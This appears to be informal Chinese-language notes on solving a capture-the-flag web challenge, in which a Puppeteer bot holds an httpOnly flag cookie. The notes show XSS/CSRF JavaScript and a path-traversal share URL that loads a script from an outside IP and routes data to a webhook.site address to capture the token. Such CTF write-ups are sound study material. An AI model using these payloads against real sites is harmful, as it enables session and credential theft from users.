我觉得应该是最难的一个了,哦不对,还有一个看不懂的
base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
|
这是可控的
const ctx = await browser.createIncognitoBrowserContext(); try{ const page = await ctx.newPage(); await page.setCookie({ name: 'flag', value: FLAG, domain: `${APP_HOST}:${APP_PORT}`, httpOnly: true }) await page.goto(url, {timeout: 5000}) await sleep(3000) await page.close() }catch(e){ console.log(e); } await ctx.close(); await browser.close() console.log(`done: ${url}`) }
|
bot.js里
httpOnly用于限制JavaScript 对Cookie 的访问权限
只能是xss+csrf让bot访问 /vip
接口拿cookie了
app.get('/note/:id', (req, res) => { const note = notes.get(req.params.id) if (!note) { res.send('note not found'); return } const { tex, theme } = note const nonce = getNonce(16) let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/' let theme_url = `http://${req.headers.host}/theme/` if (theme) { base = new URL(theme, `http://${req.headers.host}/theme/`) + '/' } res.render('note.html', { tex, nonce, base, theme_url }) })
|
这里构造../preview
让其访问preview
测了puppeteer 访问遇到 ../
会自动解析访问上层目录
测了 req.params 会自动进行url解码
远程服务器
const url = '/login'; const code = 'CODE'; const data = new URLSearchParams({ username: '//webhook.site/2425f7cf-d3f0-4a89-b2df-7dd539babff0', password: '1be55450445495e51071e7400c3f464e', });
fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: data, }).then(_ => {fetch('/vip', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams({ code }), credentials: 'include', })});
|
然后share是bot访问的
/share/../preview?theme=//165.154.5.221:60000/
60000端口下是js/base.js
他是按这个原题路径解析的
然后那边拿到token了,flag应该也出来了
浏览器的抓包记录
应该是成功了,吧